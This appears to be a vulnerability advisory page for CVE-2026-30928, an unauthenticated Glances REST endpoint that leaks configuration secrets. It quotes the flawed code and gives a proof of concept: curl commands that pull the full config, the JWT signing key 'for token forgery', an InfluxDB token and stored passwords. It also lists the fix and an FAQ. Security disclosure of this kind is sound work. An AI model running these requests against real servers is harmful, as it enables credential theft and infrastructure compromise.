CVE-2026-30928: Glances Exposes Unauthenticated Configuration Secrets

Published Mar 9, 2026
·
Updated

Summary The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.asdict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details Root Cause: The asdict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code: - File: glances/outputs/glancesrestfulapi.py, lines 1154-1167 def apiconfig(self): """Glances API RESTful implementation.

Return the JSON representation of the Glances configuration file HTTP/200 if OK HTTP/404 if others error """ try: # Get the RAW value of the config' dict argsjson = self.config.asdict() # <-- Returns ALL config including secrets except Exception as e: raise HTTPException(status.HTTP404NOTFOUND, f"Cannot get config ({str(e)})") else: return GlancesJSONResponse(argsjson)

- File: glances/config.py, lines 280-287 def asdict(self): """Return the configuration as a dict""" dictionary = {} for section in self.parser.sections(): dictionary[section] = {} for option in self.parser.options(section): dictionary[section][option] = self.parser.get(section, option) # No filtering return dictionary - File: glances/outputs/glancesrestfulapi.py, lines 472-475 (authentication bypass) if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix) # No authentication! PoC - Start Glances in default webserver mode: glances -w Glances web server started on http://0.0.0.0:61208/ - From any network-reachable host, retrieve all configuration secrets: Get entire config including all credentials curl http://target:61208/api/4/config Step 3: Extract specific secrets: Get JWT secret key for token forgery curl http://target:61208/api/4/config/outputs/jwtsecretkey

Get InfluxDB token curl http://target:61208/api/4/config/influxdb2/token

Get all stored server passwords curl http://target:61208/api/4/config/passwords Impact Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Other sources

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.asdict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

MITRE

Affected Software

2 affected componentsFixes available
pip/glances<4.5.1
4.5.1
nicolargo Glances<4.5.1

Event History

Mar 9, 2026
Advisory Published
via GitHub·07:50 PM
Data Sourced
via GitHub·07:50 PM
DescriptionWeaknessAffected Software
Mar 10, 2026
CVE Published
via MITRE·04:15 PM
Data Sourced
via MITRE·04:15 PM
DescriptionWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-30928?

CVE-2026-30928 is classified as a critical vulnerability due to the exposure of sensitive configuration secrets.

2

Who is affected by CVE-2026-30928?

Users of Glances versions prior to 4.5.1 are affected by CVE-2026-30928.

3

How do I fix CVE-2026-30928?

To fix CVE-2026-30928, upgrade to Glances version 4.5.1 or later.

4

What are the implications of CVE-2026-30928?

CVE-2026-30928 can lead to unauthorized access as it exposes credentials and sensitive configuration information.

5

What types of sensitive information are exposed due to CVE-2026-30928?

CVE-2026-30928 exposes configuration secrets, including credentials for all configured backend services.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203